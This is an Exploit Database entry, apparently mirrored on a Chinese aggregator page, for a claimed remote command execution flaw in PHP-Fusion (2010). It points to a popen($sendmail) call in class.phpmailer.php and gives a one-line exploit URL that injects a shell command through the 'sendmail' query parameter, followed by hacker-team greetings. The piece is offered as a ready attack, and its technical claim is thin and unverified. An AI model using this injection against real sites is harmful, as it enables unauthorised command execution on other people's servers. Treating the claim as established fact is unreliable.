PHP-Fusion – Remote Command Execution

• Exploit Database
• 10 阅读

• 作者： ViRuS Qalaa
  日期： 2010-07-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14405/

• # Exploit Title: PHP-Fusion Remote Command Execution Vulnerability
  # Date: 2010/07/19
  # Author: ViRuS Qalaa
  # Email: em9@live.com
  # My Sites : www.pal-mafia.com & www.vbspiders.com
  # Script home: http://www.phpfusion-ar.com
  # download Script:
  http://www.phpfusion-ar.com/downloads.php?cat_id=1&download_id=91
  # Version:all
  # Tested on: Windows
  # Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
  :::::::::::::::::::::::::
  =================Exploit=================
  
  -=[ vuln c0de ]=-
  popen($sendmail, 'w'))
  /includes/class.phpmailer.php
  Line:438
  
  ----exploit----
  
  http://{localhost}/{path}/includes/class.phpmailer.php?sendmail=id
  
  ---------greatz----------
  Greatz to :
  hacker arar,ViRuS KSA,Q2,Spy-iq
  
  and My friends Others and My friends in MSN
  EnJoY o_O